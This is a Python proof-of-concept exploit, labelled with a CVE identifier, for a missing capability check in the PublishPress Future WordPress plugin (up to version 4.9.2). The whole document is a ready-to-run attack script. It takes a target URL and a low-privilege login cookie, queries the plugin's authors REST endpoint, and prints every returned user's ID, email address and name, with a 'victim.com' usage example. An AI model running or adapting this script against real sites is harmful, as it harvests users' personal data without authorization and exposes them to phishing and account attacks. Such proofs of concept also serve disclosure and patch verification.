CVE-2025-13741

import requests import sys # CVE-2025-13741 PoC - PublishPress Future getAuthors IDOR # Target: WordPress site with PublishPress Future plugin <= 4.9.2 def exploit(target_url, auth_cookie): """ Exploit the missing capability check in getAuthors function. Requires Contributor+ level authentication. """ endpoint = f"{target_url.rstrip('/')}/wp-json/post-expirator/v1/authors" headers = { "Cookie": auth_cookie, "Content-Type": "application/json" } print(f"[*] Targeting: {endpoint}") print(f"[*] Attempting to retrieve user emails...") try: response = requests.get(endpoint, headers=headers, timeout=10) if response.status_code == 200: data = response.json() print(f"[+] Success! Retrieved {len(data)} user records") print("\n[+] User Emails:") for user in data: print(f" - ID: {user.get('id')}, Email: {user.get('email')}, Name: {user.get('name')}") return data elif response.status_code == 401: print("[-] Authentication failed. Check your cookie.") elif response.status_code == 403: print("[-] Access denied. Insufficient permissions.") else: print(f"[-] Unexpected response: {response.status_code}") except requests.exceptions.RequestException as e: print(f"[-] Request failed: {e}") return None if __name__ == "__main__": if len(sys.argv) < 3: print(f"Usage: python {sys.argv[0]} <target_url> <auth_cookie>") print(f"Example: python {sys.argv[0]} http://victim.com 'wordpress_logged_in_xxx=yyy'") sys.exit(1) exploit(sys.argv[1], sys.argv[2])

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